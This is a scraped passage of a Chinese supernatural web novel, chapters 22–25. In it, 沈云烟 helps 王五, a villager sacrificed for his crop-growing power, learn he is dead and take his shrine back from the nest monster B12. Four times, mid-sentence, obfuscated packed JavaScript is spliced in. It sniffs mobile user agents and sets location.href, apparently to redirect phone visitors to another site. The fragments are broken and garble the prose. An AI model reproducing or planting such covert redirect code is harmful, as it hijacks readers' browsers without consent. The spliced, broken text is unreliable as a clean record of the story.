王五没想到今天要送走的人居然和自己最开始遇见的人有关系,原本温和的眼眸微微睁大,有些不可置信。 “如果贺绪风和你说过会有人来接他之类的话,那除了我想来不会再有其他人了。” 沈云烟直起身子,神色已然恢复正常,她抬眸望向王五:“因为你已经不可能再等到下一个人了。” “为什么?”王五不解。 “我要照顾村里的人,很少走远门,我会一直在这里等着,只要时间够长,肯定会碰见下一个进村的人。” “还没明白吗”,沈云烟从袖里乾坤移出枪械,对准了王五,扣动了扳机。 冰冷的洞口对准了他。 王五脸色瞬间发白,没等他搞清楚情况,一颗子弹穿头而过,定格了他的表情。 “啊!” 预期中剧烈的痛楚却并没有到来,王五腿一软,坐倒在地,茫然地摸了摸自己的眉心。 他抬头看向沈云烟,怔怔询问:“我这是怎么了,我为什么没事?” 他眼眶微红,似乎是预料到了什么,呼吸加重了几分。 “因为你早就死了。” 沈云烟开口,直接给出了答案。 “我将是你能见到的最后一个人”,她垂眸道:“带我去找贺绪风的尸骨,我会帮你送还。” “我,死了?” 王五攥紧了手中的布料,极力地回忆着什么,他急的满头大汗,双眸无神地移向神龛的方向,又突然像想起什么似的站直了身体,径直朝神龛奔去。 他不知哪来的力气一下子推倒了神龛,跪着在地上用手疯狂刨土。 不知何时又下起了春雨,淋淋地浇了两人一身,被雨水淋过的土壤又开始浮现出绿意,空气中涌出惊人的生机。 虽说野草生命力顽强,但在顷刻之间抽芽生长也是天方夜谭,但这里的绿意比刚刚丰沛了十倍有余。 沈云烟跟在王五身后,余光瞥完四周的春意盎然,又重新把目光移回了他身上。 这些变化显然都和眼前这个青年有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691168|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关。 被雨水打湿的黑发粘在王五的额前,他不停地挖掘,双手被石砾磨出了血痕也不曾停歇。 突然间他像是看到了什么,顿时停住了动作,在土坑之上呆呆坐着。 沈云烟俯身望去。 首先看见的是一片褐色麻布衣角,然后就是麻布下裹着的只苍白的手,那手攥着一块沾血的布,隐约能看见上面有字。 那里埋着一个人。 两人都很熟悉那块布,那是王五刚刚拿出来的记着名字的那块布。 那只手攥着布,黑褐色的土沾在手上,衬得手越加惨白,让人可以轻易想象出躺在土层里那人苍白的面容。 “这是我的尸骨”,王五骤然失去了力气。 他眼泪大颗大颗往下掉,却没发出声音,他喃喃道:“他们怎么能这样,他们还有没有心。” 王五哽咽着抬头看向沈云烟,表情有些恍惚:“他们想要饼,我给,他们想要暖和的衣服,我想办法,他们想要很多粮食,时间不够,我让他们等等。” “只要雨水充足,庄稼会长出足够养活大家的粮食。” 他有些语无伦次。 “为什么,为什么他们要把我绑起来放我的血。” 他的血可以让植物飞速生长,但他也是人,他会疼,也会死。 王五缩成一团,似乎在抵御某种从骨髓中透出来的寒冷。 “太冷了,我被冻死了。” 王五摸了摸自己埋进土中冰凉的手,扯出那张记满名字的布。 “他们说要祭神,我就被埋进了这里”,他慢慢道:“你说,人怎么能这么贪婪又愚昧呢。” “我明明能救他们,能救更多人。” 他是掌管生长权柄的人,是操控丰收喜悦的人。 在饥荒年间,本该成为神明的他却被愚昧和无知扼杀。 拥有生长能力且磁场特殊的破妄者…… “所以他们都死了”,沈云烟道。 “赵家村民俗文化基地,评级B12巢穴,具有特殊移动功能,除了被卷入的游客之外,无一活口。” 她道:“当时对你动过手的,没动过手的,全都葬在了这里。” “都死了吗,我……”王五晃了晃头,不知道如何面对这个消息。 “我不会左右你的判断,我会把实情告诉你”,沈云烟开口道:“如果我没猜错的话,你的能力被巢穴融合了,通俗点来说,外面的代号B12的怪物用着你的力量,占着你的位置,打着普通人类。” “再在这里自闭的话,连你的神龛都要被扬了。” 沈云烟确实没有时间陪这位人神再浪费时间。 “我被你的意识拉进了幻境中,外边还有一堆麻烦在等着我”,沈云烟开口索要:“贺绪风,给我。” “你和他认识?”王五的悲伤的情绪被搅乱,又重新提起了刚开始的问题。 “或许吧”,沈云烟思索着回答:“我的记忆中没有这个人,但我的躯壳记得他,我想,如果能见到那具尸骨我能得到更多的答案。” “所以,给我。” 22. 热情的民俗基地(8) “……好”,王五看着沈云烟的眼睛,低低应了一声。 他擦干眼泪,蹲在原地想了一会儿,顺着刚刚刨出来的土坑继续挖着。 “要是我没猜错的话,他应该在我旁边。” 王五手中不停,分神向沈云烟解释:“我虽然都记不大清楚,但我答应过他要把他的身体送还给家人,我不会食言的,在那种情况下,我应该随身带着他。” 随身带着,一具尸骨? 沈云烟皱了皱眉,有了些许不好的预感。 石制的神龛倒在一旁,陷入湿软的泥土中,王五跪在地上挖着,已经刨出了一个大坑,露出里面掩埋的东西。 他怔怔看了一会儿躺在土里面色苍白的自己,年轻的男子面容平静,发丝微乱,如果忽略四处凌乱的土渍,他就好像睡着了一样。 王五侧过头去用手背抹掉额头的汗,整理好情绪,将自己的身体从土里拉了出来。 他从来不知道自己居然有这么沉。 “真是奇怪的世界,我居然在处理我自己的尸骨”,他扯开嘴角,苦笑道。 他的身体左手边攥着那张记满名字的纸,已经被王五拿走了,如今全身显露出来,他才发现自己右手臂中抱着一个十分眼熟的木匣子。 王五眼神一亮,费了些力气拿下木匣子,往沈云烟身前一递。 “他在这里。” 沈云烟看着眼前巴掌大的盒子,不太确定地开口。 “贺绪风,成灰了?” 现在的她根本没有关于这个人一丝一毫的记忆,可潜意识却总在说这个人非常重要,一定要带走他。 要是烧成灰的话,还能让她想起更多吗? “怎么可能”,王五打消了她的疑虑,他将木匣子打开,露出其中森白的手骨连着一小节手臂骨。 “我们当时就只找到这些”,王五有些不忍:“虽然他什么都没说,但我知道他肯定受了很多苦,不然不会连尸骨都不全。” 没有身体,只有这一小节手骨。 “这就是贺绪风”,沈云烟沉默着接过装着手骨的木匣,似乎要从这节骨头上看出获取更多信息。 但埋在土下多年的手骨并不会说话,也不会突然活过来为沈云烟心中的疑虑解惑。 它静静地躺在匣底,就如同这里的山石草木一样安静。 “多谢”,沈云烟道。 她取出一片蓝色的绸缎仔细包裹住断骨,温热的手触碰冰冷的白色时尖锐的寒意袭来,仿佛能冻住灵魂,沈云烟顿了一顿,然后垂下眸自然地把它放进袖里乾坤。 想要的东西拿到了,她抬头看向眉宇间依旧温和的王五。 王五擦干净了自己脸上的淤泥,神色中带着些愁气,却并没有她想象中的怨恨。 “我好生气啊”,王五肩膀一塌:“但听到你说他们都死了的时候我却也提不出什么高兴的情绪。” “与我交好的,与我交怨的,所有人都走了,就剩下我像个孤鬼一样在这里自欺欺人过着以前的生活。” 他与自己的身体躺在一起,任由湿润的泥土胡乱沾在衣服上,他突然开口:“你说,到底是怎样的诅咒才把我留在了这里,我就不能干干净净的消失吗。” 雨渐渐停了,透亮的阳光拂过山顶,唤起一丝暖意。 王五是个极其纯粹的人,但他对待世界太过善意,即使被伤害了也只是想着躲避逃走,而非报复。 赵家村的人让他失去了性命,但阴差阳错的神龛供奉却也让他踏上了神路。 如果不是巢穴的出现,或许千百年后,这里就会诞生一位神明。 沈云烟也在他旁边坐下,盯着天边那道光,即使刺痛了双目也不眨眼,开口道:“我不觉得留下来就是诅咒,或许这才是祝福,是爱你的人留给你的祝福。” “爱我的人?” 他像是回忆起什么,眼中的阴霾散去不少。 “你说得对,赵家村并不全是恶人”他道:“我有很好的朋友们,他们和我一起也在让这里慢慢变好。” 王五眼中的光又突然黯淡下来:“如今他们……算了。” “对了”,他问道:“你说被我的意识拉进了幻境,那怎么才能让你出去。” 沈云烟没有立即搭话,她慢慢转头看向王五,语气平和,说出的话让王五愣在原地。 她道:“只有你彻底消散,我才能出去。” 王五瞬间被拉回了那个下午。 只有你死,我们才能活下去! 村民歇斯底里的怒吼仿佛就在耳边,那天他被按在地上,无助地望向村长,却只等来了一把刀。 太冷了。 他狠狠打了个寒战。 “连你也想杀了我吗”,王五垂下头,攥紧了手中的名单。 “我只是陈述事实罢了”,沈云烟道:“况且我杀不了你,也没理由杀了你。” “你的幻境由你的意识支配,执念不散,幻境不散,里面的人就出不去,你仔细想想,自己究竟在等什么。” 沈云烟不知道外面现在究竟怎么样了,不过王五和B12硬说起来都算巢穴之主,更甚至B12能发展至今很大一部分是借助于王五神龛的信仰,篡夺了他的身份。 泥人像上那一丝道不明的神性终于找到了源头。 如果能想办法让王五出去…… “我不知道”,王五觉得今天恍惚的时刻有点多,但他确实想不起来一丝关于应对眼前的事情的方法。 等什么? 在沈云烟出现之前,他甚至不知道自己已经死了。 王五看向与记忆里一般无二的赵家村,表情十分茫然。 “如果我等不到自己想要的东西,那你岂不是出不去了。” 他的疑问太多。 “你说的巢穴和什么十二都是害人的东西吗?” 沈云烟点点头:“任其发展下去,数以万计的人将被其吞噬,到时候整个国家都会变成赵家村这鸟不拉屎的地貌。” “你知道外边占了你神龛的东西自称什么吗?”沈云烟道。 王五摇了摇头:“不知道” “谷稷神”,沈云烟道:“后稷持谷,养育一方,那是你的能力。” “可我只有能让植物生长的能力。” 王五一直觉得自己只是个有些特殊的普通人,唯一的梦想就是种出更多的粮食,只可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703596|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惜力量有限,能兼顾的土地只有几亩。 见王五还是不在状况内,沈云烟决定给他再讲明白些。 “赵家村的人将你……”,她看了一眼地上的脸色惨白的肉身,没有说出来。 “但长久的神龛祭祀使你已经脱离普通人的身份,不知道该说幸运还是不幸运,你拥有了一份不完整的神格。” 不完整的神也是神,如果没有出现意外,他这份神格会逐渐完善,如果用一个词来形容这份能力。 【盎然丰沛】再合适不过。 沈云烟清晰地感受着袖里乾坤中那段手骨一直散发出来的柔和清气,低声道:“或许也有贺绪风的原因。” 人类能力剧增到这种地步纵使天赋异禀也极难达到,比起天命指引这种虚无缥缈的东西,沈云烟更相信是有人在插手引导。 王五听到熟悉的名字,问道:“他做了什么吗?” 名叫贺绪风的游魂在他小时候短暂陪伴过他一段时间,教会了他很多东西,如何控制能力,如何掩盖异常,如何与人相处,于他来说亦师亦友。 “没什么”,她道:“或许多亏了贺绪风,你才能快速掌握能力。” 她转移了话题:“既然你不知道怎么出去,想想最近这里有什么事情发生吗。” “最近的事情”,王五想了想,露出笑容:“我的两个朋友要成亲了。” 沈云烟心中一动:“那走吧,带我去看看,看能不能找到什么线索。” “行”,王五立刻答应。 对王五来说,虽然被告知这里是幻境,但长久的习惯却让他适应了这里的一切。 走回去的路上遇到了几个背着锄头的老翁,还和一脸土的王五打了个照顾。 “王小子,又上山去敬香了,刚下了雨也不怕滑了。” 这熟悉的问候让王五放松下来:“没事的,我手脚快,摔不了。” 走了一阵又遇上了几个从田里回来的人,都和王五打了招呼,等离得远了,王五才后知后觉意识到:“好像这里没有那些讨厌的村民。” 那些将他献祭的村民并不在他的幻境之中,这里只有他熟悉的人。 “如果你说的是村长他们”,沈云烟眼睛都没抬:“早就被巢穴吞了,剩下的残渣现在正在外边耀武扬威呢。” 他们走过一片农田,沈云烟眼睛微瞥看见一个熟悉的东西。 田垄上插着一个四肢张大的假人,脸上粗糙画着张笑脸,制作它的人手艺不太好,将笑脸画的太夸张,不过用来震慑鸟雀却足够用了。 “你看到了”,王五不好意思地摸摸脑袋:“小鸟特别爱吃庄稼,我就做了个木偶来吓它们,就是做的丑了点。” 沈云烟看着稻草人身上那熟悉的装束,嘴角一抽。 那只会吓人的废物木偶人原来是出自王五之手。 其实想想也对,田野里的稻草人不就是为了震慑驱赶鸟雀的。 木偶人跟着他们吓人或许也是为了驱赶走他们,让他们离开巢穴……吧,这么一想它也算好心,咳,只是可能方法和能力上都有待加强。 有一搭没一搭聊着,他们很快来到了王五所说的朋友的家附近。 23. 热情的民俗基地(9) “我和赵召南从小一起长大,他现在居然都娶媳妇了。” 王五站在低矮的门房口,眼睫垂下一片阴影,不知道在想什么。 “说起来他们还挺不容易的”,他理了理头发衣服,尽量让自己显得有精神一些。 “冉娘家的阿婆从前是大户人家的女儿,不过家里出了意外,这才嫁到了赵家村,所以对规矩十分注重。” “我们这里的人对这些规矩听都听的少,不要说是按这么多规矩来结亲了,赵召南这小子可是使尽了浑身解数才让阿婆同意了这门亲。” 他倒是很乐意看兄弟的窘境:“你知道古代有个结亲的六礼吗,那是从前大人物才有的,阿婆让赵召南也按这个来一遍,哈哈哈他当时跑完了整个村才找到合适的媒人去问名。” “纳采,问名,纳吉,纳征,请期,迎亲”,王五板着指头数,“阿婆不仅要六礼齐全,还必须隔一段时间才能进行下一个环节,说是尊重。” “来回折腾了一年,他和冉娘天天凑一块商量着怎么让阿婆满意。” “今天终于要得偿所愿了。” 沈云烟听见熟悉的字眼,回问:“冉娘?” 这户人家的门口挂着几个大红灯笼,里面传来热闹的声响。 王五点头:“冉娘她全名袁冉,我们几个都是一块长大的。” 沈云烟猜到了什么,张了张嘴但看到王五期待的神色还是没有说出口。 如果这就是他的执念,那就让他圆这一场梦吧。 王五走进了这户人家的门口,里面有人瞧见了他,立刻欢喜地迎了上来。 “刚刚找你找不到,看你一身泥,又去山上了吧,来的也不迟,快快快坐下来吃点。” 简单的家常菜摆在案桌上,这是这个年代算的上极为丰盛的一顿了,一桌人围着坐下,王五也被拥着坐了进去。 他们看不见沈云烟,她就在院内随意走动,四处看看。 院子里的物件摆放整齐,看得出主人家心细勤快。 房间的帘子突然被掀开,露出张红润带笑的脸,黑发边簪着一朵艳色的花,整个人富有生命力。 这是今天的新娘子。 她声音清清脆脆:“召南哥,过来帮忙端饭。” 看着这张熟悉的脸,沈云烟心中的猜测落向了实地。 这张脸正是不久前神龛泥人像后爬出的诡异红衣女子的样貌,她要没猜错,那具沉井骷髅所要殉情的冉娘也是眼前的新娘子袁冉。 赵召南被沉井,袁冉被埋葬。 那身红衣似乎就是这身新婚时候才新做的衣服。 加上王五,三人前后都遭遇不测。 王五的执念是留在人世的两个朋友,想见到他们平安幸福过完后半生,但事实上这两人也紧跟着他一起走了。 愚昧的村民在合力杀死王五后,会不会因为惊恐而去选择斩草除根,斩断王五与人间的所有联系,让罪孽深埋与地下。 雨水冲刷过后,他们捧着茁壮成长的稻谷,感谢上苍的恩赐,一笔生死旧账随着当年知情人的去世烂在了过去,他们的后人又开始怀着虔诚的心来山顶祭神。 巢穴的缔造者被罪恶的沃土和神的气息吸引前来筑巢,将整个赵家村从人间抹去,就像那些人当初对王五干的一样。 一桌子的人嘻嘻哈哈,王五也融了进去,脸上真切带着笑。 “你们猜,这是什么”,新郎官赵召南手里攥着什么,朝众人卖关子。 袁冉和他挨坐在一起,此时也探过头来好奇问:“召南哥你别整这些,到底是什么啊。” “嘿嘿,冉娘你看”,他摊开手,一枚翠绿色的平安扣躺在掌心,他捏起上边的红绳,笑嘻嘻道:“来,我帮你挂上。” “这不是当时纳征时候送的礼,不是被贼偷了吗,怎么找回来的”,袁冉十分惊喜。 “那是个惯偷,王兄弟和我一块蹲住了贼人,狠狠把他教训了一顿,帮你把它拿回来了”,赵召南搂住王五的脖子,笑呵呵道:“可得好好谢谢咱王小五呢。” “当时纳吉的时候也是,我摇了半天摇不出大吉,急得满头是汗,还是这家伙把主持找过来,你猜怎么着,结果真发现签筒放错了。” 沈云烟站在旁边听着,越听越觉得巢穴的民俗活动就和赵召南与袁冉的六礼有关。 “拾玉”是从井中赵召南身上取下平安扣送到神龛,而神龛后正是袁冉的埋骨地,这是六礼其四,纳征,男主人公送礼给女主人公。 “定吉”就是让游客摇签,摇出上上大吉才行,也和六礼其三,纳吉,对应上了。 她望了一眼沉浸在其中的王五。 这么看来,整个巢穴都是在王五的记忆和力量之上建起的,B12虽然在主人没回来之前能用非常规手段占据房子,但一旦王五回归,它就是要被驱逐的臭虫。 这场朴素的酒席一直持续到了晚上,王五走出门口,站在街上朝后面挥了挥手,示意他们回去休息。 等到凉风吹散他的笑意,王五顿了顿,往前跑了两步,来到了沈云烟身边。 “他们这样我也就放心了”,王五扯了扯嘴角,却发现自己实在是笑不出来。 他一直不敢问,但此时却不得不问出口:“他们,是不是也没了。” 沈云烟点点头。 “我猜到了,你说赵家村没有一个留下来的时候,我就猜到了。” “我只是想再来看他们一眼。” “我还没说完”,沈云烟道:“现在有一个办法或许能救他们俩,你干不干。” 王五眼中的火被刷地点亮,他十分迫切:“怎么救,我应该做什么!” “因为巢穴的力量,他们成为了B12的附庸,但因为你的力量,他们保留了一丝神智。” 沈云烟想起了骷髅殉情时的嘶哑喊声,觉得自己的思路没问题。 “B12谋权篡位”,她看向王五,神情认真:“这个神龛,也该换神坐坐了。” “可是不是只有我消失,这里才能消散吗?” 这里不消散,里面的人又怎么出去。 他和出去这两个字,注定遥不可及。 “那是之前”,沈云烟道。 巢穴侵蚀了人神的力量,残缺的魂魄凭借执念在幻境苟延残喘,直到执念圆满或是再也支撑不住就会彻底消散。 她道:“但现在不一样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722403|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈云烟迅速从袖里乾坤摸出一根香点燃:“咱们有外援。” 她问:“想不想救人,想不想夺回属于自己的一切。” 王五觉得哪里有点怪,但还是坚定地回答:想! 他在原地站了一会,又不确定地问沈云烟:“真的不用我死吗?” “不用。” “来,扶我一把”,她道。 刚一说完话,还没等他反应,沈云烟低声念了什么,直直地往地上倒,吓得王五赶忙上前去接人。 “你怎么了?!” 他架起沈云烟的胳膊,稳住身形,着急去探她的鼻息,手伸到一半,突然愣住。 自己的手突然变得苍白,手腕上多了几道没有愈合的伤痕,身上的衣服也有了变化,沾染上了大片暗红的血迹。 “这是我的身体?” 他被埋进神龛下的身体。 明明那具身体被留在了山顶,现在怎么他又变成了这副样子。 【吾言,人神有梦,梦醒神归】 周围突然传来十分嘈杂的声音,令王五神经紧绷,天际的颜色被一寸寸抹掉,只剩下灰白,他转头看向大大小小的房屋,只觉得它们逐渐遥远。 直至,一切破碎。 身体突然被无形的墙壁挤压,重地他喘不过来气,浓厚的土腥味往鼻腔里钻,但王五觉得现在自己似乎并不需要呼吸。 他使出全身力气剥开身前沉重的阻碍,终于,一丝微光透了进来。 他感觉周身猛地一轻,整个人因为惯性摔了出去,晕晕乎乎抬头,正正对上了一尊怪异的泥人像。 那泥人像脸上的笑容僵住,与他四目相对,相顾无言。 … 尖锐的巨齿啃下一团布,黑犬咀嚼着嘴里的布条,又很快吐了出去,继续兴奋追捕着活跃的逗狗棒。 这死狗又追上来了! 鬼衣恨不得再长出八百条腿,心里把那该死的女人骂了一遍又一遍,眼看着黑犬又要追上来,它使出吃奶的劲提速。 一道熟悉人影突然出现在山顶战场,它来不及躲闪,让这人直直砸在了它身上。 鬼衣吓得魂都快飞了。 伸长触须把迅速这人挪开,原地打了个滚闪过了黑犬。 它正想继续溜的时候,却被一只手死死拽住,紧接着他就听见沈云烟阴魂不散的声音在耳边响起。 “鬼衣,带上我跑。” 我就知道你这女人出现准没好事啊啊啊! 打又打不过,跑又跑不掉,后面还有恶犬突袭,鬼衣认命地伸长触须缠起沈云烟的身体,带着她一块跑。 鬼衣速度很快,不然也不能在黑犬手下撑这么长时间,但加上个沈云烟的重量,那被追上的风险就大大增加了。 沈云烟这会儿抬都抬不起手,她闭了眼睛,指挥道:“往神龛那里跑。” 还往神龛那里跑,那泥人像就在神龛里头守着,八只手的暴躁医生和红衣女打得你死我活,它之前想靠近都被削了一顿,想死也不是这个死法! “跑快点,狗要追上来了”,她催促道。 鬼衣感受到屁股后面腥臭的风,心一横。 死就死吧! 24. 热情的民俗基地(10) 那是一瞬间发生的事。 泥人的表情裂开了。 是真的龟裂,先是沿着细小的纹路裂出一条缝,再之后就是缝隙扩大,透过缝隙能甚至能看到神龛后部的构造。 王五从地上爬起来,茫然地看了看周围,然后眼睛微微睁大。 他认出熟悉的女孩,嘴却不住地打磕绊:“冉……冉娘。” 袁冉四肢扭曲在地上飞速攀爬,并没有理会他,而是疯狂地攻击另一边的白袍男子。 王五目光移过去,瞬间觉得自己眼睛出了点问题。 这个人怎么有八只手。 “我是不是还没醒?” 他晃了晃头,试图把幻觉从脑子里倒出去。 “你当然醒了”,沈云烟的声音从不远处传过来,她似乎很虚弱,声音也有气无力。 王五想起刚刚沈云烟往下摔倒的样子,心里有些焦急,喊道:“你在哪里?没事吧!” “你要是再没什么动静,我就有事了。” 王五循声望去,这才看见背后有团红布在飞速狂奔,上面躺着一个熟悉的人,背后还追着一条凶恶的巨犬。 他们向他飞速奔来。 “来,跟着我说”,沈云烟道。 王五配合道:“好!” 沈云烟眼皮掀起一丝缝,瞥了一眼追着的黑犬,缓缓道:“你的位子,让我坐坐。” 王五跟着说:“你的位子,让我坐坐。” 他并不明白这句话的意思,但说完这话后,身边突然出现咔嚓一声,十分明显,就连混乱的场面都为之一静。 “咕噜咕噜——” 泥人头像是被某种看不见的存在直接掰断,还算圆滚的头掉落在地,打了几个圈才停下来。 泥像上最后残留的表情不是笑,而是惊诧,它张大嘴巴,像是见到了难言的恐惧。 神龛里还剩下半截的泥像身体仿佛被时光抛弃,细密的蜘蛛网缓慢出现在它身上,斑驳的旧痕迹侵蚀着泥身。 王五上前几步去看那神龛。 只见砰的一声,那无头的泥像承受不住岁月的腐蚀,整个泥身炸裂开来,碎片在王五眼前迸裂四溅,甚至连神龛都被震得倾斜。 王五垂着手望着已经歪斜的神龛,不知哪里来的冲动,他用力把神龛扶正,然后就听到身后一道带颤音的女声响起。 他猛地转过头去。 冉娘的脸上布满悲戚,她低头看了看自己扭曲的四肢,后退一步,不可置信:“我这是怎么了?” “王五哥,这里究竟发生了什么?” “还有召南哥,召南哥呢?” 她突然痛呼一声:“好疼,我的身体好疼。” 刚刚还和这红衣女互下杀手的姬蒙此时停下了动作,和这女人拉开了些距离,等安全距离足够了才去挖那些嵌入他身体里的黑色指甲。 他猛地用力,把心脏处的长指甲拔了出来,胸口的血洞蠕动一会儿才止住了血。 姬蒙看了一眼崩溃在原地的红衣女,默默去处理剩下的伤口。 生死关头,没有谁会留手,被他刺中肯定疼,他还没怪这人砍了他一只手呢。 王五不知所措,下意识去看沈云烟。 刚刚泥像破碎的时候黑狗就消失了,这会儿她正被红色的布条触手缓缓扶起来。 沈云烟唇色苍白,但神情却没有紧张,注意到王五的窘境,她懒懒回道:“你自己知道。” 她打了个哈欠,似乎很困:“刚刚泥人这位子都让给你坐了,这巢穴里大小事务你都应该了如指掌。” 沈云烟费这么大力气把王五弄出来就是为了巢穴的控制权。 神的语言是有力量的,即使是王五这种半吊子人神,对付这个泥人像也足够了。 严格意义上来说王五才是这个巢穴真正的建立者,天生具有夺取控制权的优势。 他的言灵加上先天优势,只要王五一现身,整个巢穴手到擒来。 沈云烟替他解决了最麻烦的“现身”,剩下的对王五来说就简单多了。 她微微睁开眼睛,看了一眼摔落在地上的泥像头,有些遗憾:“让B12逃了。” 刚刚气息还有些异样的泥人像现在变得普通,就像一团真正的烂泥,再感受不到半点阴寒。 她看向若有所思的王五,提醒道:“B12逃跑了,先不管它,你跟着我们回去找村长提交任务入住民宿吧。” “好热闹啊”,谢橙的声音传过来。 他们三人因为刚才的变动终于摆脱了周围的异化怪物,或多或少都带了些伤,但精神状态很积极,此时也朝神龛这边聚了过来。 谢橙此时看着这边一团糟的场地,又听见沈云烟说要回去找村长,不由感到离谱。 “都打成这样了,村长还能咱们进去吗?” 任务的神龛被推平了,泥人像也砸了,满地的异化怪物还躺在山顶一旁,还有各种各样奇怪的生物齐聚一堂。 村长是疯了才会让他们进民宿。 “对了”,谢橙看了一眼己方战力,小声道:“我觉得现在咱们能直接把B12推了。” 王五努力想要感受到沈云烟说的巢穴的控制权,眼中闪过几个画面却令他心脏揪紧,他回头看向冉娘:“我看见,他在水井边,被人推了下去。” 他试着描述感知到的事情:“他在井里沉没,然后又……变了一种样子爬了出来。” “他撞井而亡”,王五攥紧了拳头,眼中倒映着赵召南悲戚嘶鸣自戕,最后被眼前这几人收骨掩埋的画面。 他“看着”那个土壤甚至还是潮湿的孤坟,心中的刺痛让他不由后退几步,他多想让世界出现奇迹,好友能和他再见几面,再说几句话。 然后王五就看见孤坟里突然伸出来一只手骨,紧接着从土里爬出来一具枯骨,茫然地四处张望。 “……” “!” “他他他,又活了”,王五扭头看向哭地绝望的袁冉,有些结巴。 “在水井那边,现在有点丑,不过肯定是赵召南。” 冉娘的眼泪立马止住,她看了一眼大致方向,说了声谢谢就离开了。 红衣女子如风一般爬走,临走前还扔回了几只插在自己头骨上的手术刀。 姬蒙医生在整理自己的手臂,一个一个按顺序缩了回去,不过原本的衣服满是窟窿已经不能穿了,他另取了一件外袍披上。 他时不时往神龛方向叹气,似乎很遗憾。 沈云烟靠坐在鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726396|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣身上,面带倦容:“他们如今都是巢穴的附庸,巢穴之主支撑他们不死,他们就不会死。” “你刚刚只拿回来B12留在泥人上的一部分力量,只掌握了小部分的巢穴,要是想真正无忧,得去吞了B12。” 听到巢穴主身份的重要性,王五向来温和的眼眸逐渐变得坚定,想到沈云烟之前的话,他道:“这次,我一定会拿回属于我的一切。” “咳”,陈林被突如其来的中二气息呛了一下,他听见身旁的谢橙小声道:“主角从天而降,救人于水火之中,主角宣言都出来了,我们这次肯定赢。” 这就是现在年轻人都喜欢的东西吧,他可能落伍了。 也才二十八岁的陈林感慨道。 张雪过来的时候首先看见了面色如纸的沈云烟,她心中一顿,快走几步蹲下来问她:“你怎么回事,还撑得住吗?” 之前每次见到沈云烟都是那副淡然的模样,即使那些报告经历写的有多惊心动魄,好像只要有她在,一切都不是问题。 但此时她却感受到,即使厉害如沈云烟,也会有虚弱的时候。 她从带着的特效药里快速翻找,却被沈云烟按住。 沈云烟摇摇头:“没事张队,回去就好了。” 回去换句身体就好了。 “这怎么行,你都虚弱成这样了”,张雪试图从沈云烟身上找出伤口,但她浑身上下都很正常,只是脸色异常苍白。 手里的各种止血药没了用处,张雪又重新翻找,口中喃喃:“解毒的放哪了来着。” “我知道你很厉害,但你也是人,你也会痛,也会虚弱,也会流血,我知道你这种和神仙有关系的肯定会有后手,但最起码你得把自己的身体当回事。” 张雪终于翻出了自己想要的东西。 “这是补气,补血,外加促进细胞活跃的胶囊,吃了试试。” 张雪扭头一转,看见了新出现的脸色惨白,浑身带血的王五,她眉头一拧:“你过来。” 王五乖乖走过去,被塞了一大堆补血的药,然后被指挥着去给穿白袍的医生分一半。 “张队这是怎么了?”陈林悄声问道:“感觉很紧张的样子。” 谢橙此时表情也严肃了下来:“张队之前有队友就是因为卷入巢穴失血过多而亡,她心里有坎,所以每次出差不管有没有用张队都会带很多药,以防万一。” “张队她,真的是个很好很好的人”,谢橙道。 没想到还有这种过去,陈林也悄悄住了声音,不再说话。 沈云烟看着手中的胶囊,明知道没有用还是仰头吞了下去。 把自己的身体当回事吗? 既然注定要消失,为什么不在范围内多做一些出格的事,至少这样铲除巢穴的效率更快。 不过这种善意的关心她也很喜欢。 出乎沈云烟的预料。 她居然真的恢复了些力气。 “是那节手骨……” 呆在绸缎里的手骨慢慢散发出丝缕清气,朝沈云烟的身体涌来,慢慢凝聚住快要消散的化身。 贺绪风究竟是什么人? 沈云烟恢复得差不多,重新站起身来,面向众人:“走吧,别让村长等急了。” 25. 热情的民俗基地(11) 天色将暗,三三两两的游客都回到了村长家门口。 村长坐在门廊上,混浊土黄的眼珠子盯着这些面如土色的游客,就像在打量一群待宰的牛羊。 “好不容易供奉了平安扣,那神像居然直接裂开了,我不知道我是不是成功完成任务了。” 一个中年游客不断往村长的方向看,脸上的冷汗一层一层冒出来。 